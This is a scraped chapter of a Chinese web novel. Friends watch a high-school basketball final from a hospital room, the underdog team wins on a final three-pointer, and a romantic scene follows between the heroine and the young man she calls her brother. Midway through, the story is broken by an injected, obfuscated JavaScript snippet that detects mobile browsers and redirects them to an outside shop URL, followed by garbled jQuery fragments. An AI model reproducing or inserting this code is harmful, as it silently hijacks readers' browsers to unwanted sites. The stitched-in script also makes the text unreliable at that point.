风竹小说 > 都市言情 > 伊卡洛斯与桥 > 26. 总决赛
    阳城夏热冬冷,五月份的天气有些闷,窗外的树叶被阳光照得绿油油的,玻璃窗隐隐倒映着几个人影。

    宽敞明亮的病房内,王凤玲背靠枕头,慈祥地看许令在一旁削苹果。

    “诶呦,真是谢谢你们了,还特意过来看我这个老婆子。”王凤玲粗糙的双手搭在裴梦的手腕上,浑浊的眼珠里满是感激。

    她这辈子过得苦,儿时丧父,中年丧夫,老了老了,儿女也先走一步,只有个小孙子陪在身边。

    王凤玲一把屎一把尿把冯闯拉扯大,捡废品、卖路边摊什么都干过,一块一块的攒够了冯闯的学费。

    “听令令说,你给了小闯他们钱,让小闯能去北京?”王凤玲眼角都噙着泪,她没用,没法供孙子去更好的地方,还好遇到了一群好同学。

    裴梦被老人突如其来的感激触动,微笑道:“这我也是看闯子能力强不是?还得是闯子自身水平高,要不然也去不上北京。”

    “真是不知道怎么谢谢你好了,小姑娘,你真是个好人啊。”王凤玲黑黢黢的手开始颤抖,情绪有些激动。

    裴梦安抚地拍拍老人的手背,摇摇头表示没事,陈罪不知什么时候站在她身后,手臂贴着她的肩膀。

    裴梦还是有点不太敢看哥哥的眼睛,那晚胡作非为的场景还在脑海里挥之不去。她躲似的越过陈罪坐在沙发上。

    “喝水吗?王奶奶?”陈罪的声音传来。

    他手上拎着热水壶,贴心地递给王凤玲一杯温开水。

    裴梦看着陈罪算得上是尊敬的样子,心里愈发疑惑。她哥以前真不这样,别人的闲事从来不管,都是别人递水给他喝,哪有他给外人倒水的道理?

    王凤玲瞧着陈罪的模样,表情愣了一瞬,试探性开口:“这个帅小伙是?”

    许令把削好的苹果放在茶几上,把王奶奶身上的被子拉高了点,回答道:“这是冯闯最好的朋友陈罪。”

    王凤玲听到陈罪的名字后,原本洋溢着笑容的一张脸突然僵住,她迟钝地打量着陈罪的样子,仔仔细细地从眼睛开始端详。

    过了好一会才开口:“你的爸爸是?”

    “陈康。”陈罪坐在病床对面的沙发上回答。

    王凤玲听到陈康的名字,表情有些难看,握着水杯的手还有点颤抖,她喃喃道:“都这么大了,一晃眼都这么大了。”

    裴梦看着两人的对话,实在是不知所云,她正思考两个人之间的关系时却被许令的话打断思绪。

    “诶,时间到了。冯闯的比赛开始了!”

    裴梦摁开电视直播,陈罪顺势挨着她坐在沙发上,微微侧目。

    几乎是全城瞩目。至诚的球队一路上过五关斩六将,不仅挺进八强,还打败了去年的冠军球队,他们拾级而上,今晚是关乎胜败的一局。

    如果赢了,阳城将会得到史上第一枚耐高冠军戒指,这将会载入高中校史,成为至诚最光荣的时刻。

    冯闯作为这支野草军团的强大心脏,也将成为全国五星高中生之一,他会拿到直通联盟甚至还会有国外联赛的参队资格。

    解说员的声音响起:“欢迎大家收看总决赛的最后一场,至诚高中对战华清附中,华清一直是夺冠的热门啊,联赛里当之无愧的豪门球队。”

    另一个解说员接着说:“是啊,作为老牌球队,华清这些年的实力有目共睹。至诚是第一年进耐高,虽然实力很强劲但夺冠的可能似乎微乎其微……”

    王凤玲茫然无措地看着两位解说员一来一回,疑惑地问道:“他们的意思是小闯不会赢了?”

    “哪能啊,他们什么也不懂,”裴梦安抚道,她刻意把解说的声音屏蔽,播放了纯享版。

    比赛开始。

    冯闯身穿0号球衣奔跑入场,前几天他还刚刚把头发剪短,说是要轻装上阵。他说他不紧张,可是总是在半夜控制不住地跟许令谈心,他说,他怕完成不了自己的梦想。

    华清的水平确实很高,一上场就开始遥遥领先,两节下来还有十分的分差。

    裴梦跟许令同样担忧,她看着电视里满头大汗的冯闯,手指紧张地扣裤子,嘴唇轻抿,几乎不能呼吸。

    她以前没看过球赛,在美国读大学的时候会有橄榄球的比赛,可是裴梦觉得体育让人疯狂。当身处比赛场馆时,她会迫切的希望主队赢得比赛,但是如果赛果不如人意时,球迷都会大失所望。

    她讨厌观看的时候结果悬在空中的感觉。

    裴梦的内心十分焦灼,正要站起来时,陈罪的大手覆上她的手背。

    她回握住哥哥的手,扭头听见陈罪气定神闲的安慰,“没事。”

    这颗心暂时放下。

    暂停时,她看见自己学校的老师在紧锣密鼓地拿着战术板布置走位,冯闯头上蒙着毛巾,看不清表情。

    场上的气氛一边倒,因为至诚无法出人员去北京的现场加油,场馆里铺天盖地都是华清那边的人。他们有专门的啦啦队和应援口号,声音沸腾,很挫至诚的锐气。

    离比赛结束还有三分钟,比分的差距依旧是大大的一个十分。

    许令已经不敢向电视屏幕投去目光。

    在最后的两分钟时,教练把冯闯换上场。

    那一刹那如同神兵天降。

    冯闯快速组织球员,以直捣黄龙之势,身姿轻悦,造成一助攻二篮板造一犯规,将比分拉到两分之差。

    整个场馆变得静悄悄,从小框看,解说的嘴巴都被吃惊得闭不上。

    可是他们没有时间了。离比赛结束只剩四十秒。

    对方教练叫了暂停。

    冯闯把队员们围起来,大声的喊:

    “咱们也让对方的少爷们看看,小地方也能能出军.团!学长没来过的五棵松,我们来了!下一届下下届,至诚将不再师出无名!”

    他搂住身旁的队友,接着说:“一年前,球队甚至还没组起来,是我的同学自掏腰包付的经费,几个月后,我们第一次打赢基层赛!就在几天前,我们进了八强,这个世界上没有什么能够阻挡我们的了!我们要拿下冠军,带着奖杯荣归故里!”

    “把奖杯献给教练!献给至诚!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16640216|186550||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    >

    男孩们把手聚在一起,相互依靠,他们是名副其实的野草,生命力强劲,没有好教练好技术,凭着一股不服输的劲儿,打赢一个个所谓的“豪门”。

    暂停结束。

    冯闯深吸一口气,摸了摸球场的地面,他小时候是在水泥地上打球的,后来第一次看见城里的球馆时,心里有种想哭的冲动。

    来北京的路,他走了很久,这次必须付出所有,背水一战。

    场馆内为至诚加油的声音渐起,裴梦紧张地攥住哥哥的手,和许令一起站在电视前,心如擂鼓。

    只见冯闯运球越过一个个球员,如同檐上轻燕,身姿矫健,运球至三分线外,忽然顿住。

    这是一个很冒险的决定,但别无他法。

    随着冯闯的跃起,他的手腕一弯,篮球在空中划出漂亮的弧线,最后,稳稳落袋。

    赢了!三分逆袭!哨声响起!耐高落幕!彩带飞舞,落在球场。

    “啊啊啊啊啊啊啊啊啊啊——”裴梦大喊,钻入陈罪的怀里,开心地跳。

    她很害怕,毕竟上一世的冯闯与冠军失之交臂。

    陈罪欣慰地看着屏幕,手掌放在裴梦的发顶上,心里的石头落下,由衷的微笑。

    许令已经瘫在王奶奶的病床上泣不成声,两个人紧紧地相拥。

    至诚在2019年获得了第一座耐高的冠军奖杯。冯闯也成为耐高联赛的p,媒体戏称,冯闯是“球场推土机”。

    小城里传来此起彼伏地欢呼声,他们都在关注着这一场或许早已分出胜负的球赛,也正如冯闯所说,至诚和阳城,不再师出无名。

    裴梦热泪盈眶,她埋在陈罪的怀里悄悄流泪。

    命运被改写了。

    原来,人是能跟命运掰手腕的。

    /

    傍晚的时候,裴梦和陈罪给冯闯发过去祝福,可能是在坐车回阳城的路上,并没有收到回复。

    由于那晚的表现,裴梦已经有几天没跟陈罪睡在一起。

    她刚走上楼梯,准备拧开自己的房门。陈罪冷冷的声音却从身后传来。

    “去哪?”

    “我,回屋睡觉。”裴梦心虚地不敢回头。她对她哥还真是召之即来挥之即去,想去她哥房间睡觉的时候就硬闯进去;不想的时候,就抱着被子毫不留情地搬走。

    很像玩弄人感情的渣女。

    “你不想我吗?”陈罪靠在楼梯扶手旁淡淡发问,语气平常得似乎是在询问今晚吃什么。

    裴梦心里一惊,她哥这是,这是,在勾引她!

    太没有节操了!她哥又是狐狸精上身了。

    裴梦受不住陈罪服软,她慢慢转过身子。

    陈罪正隐在灯光下,漂亮的凤眼微微上挑,露出受伤的神色,像一只傲娇的大猫。

    他看见了对抗命运成功的例子,忍不住也想为自己搏一把。

    哪怕再次粉身碎骨,万劫不复。

    陈罪歪头,嘴角勾起,声音低哑,如同吃人海妖般迷惑住裴梦。

    “还在等什么?过来吻我。”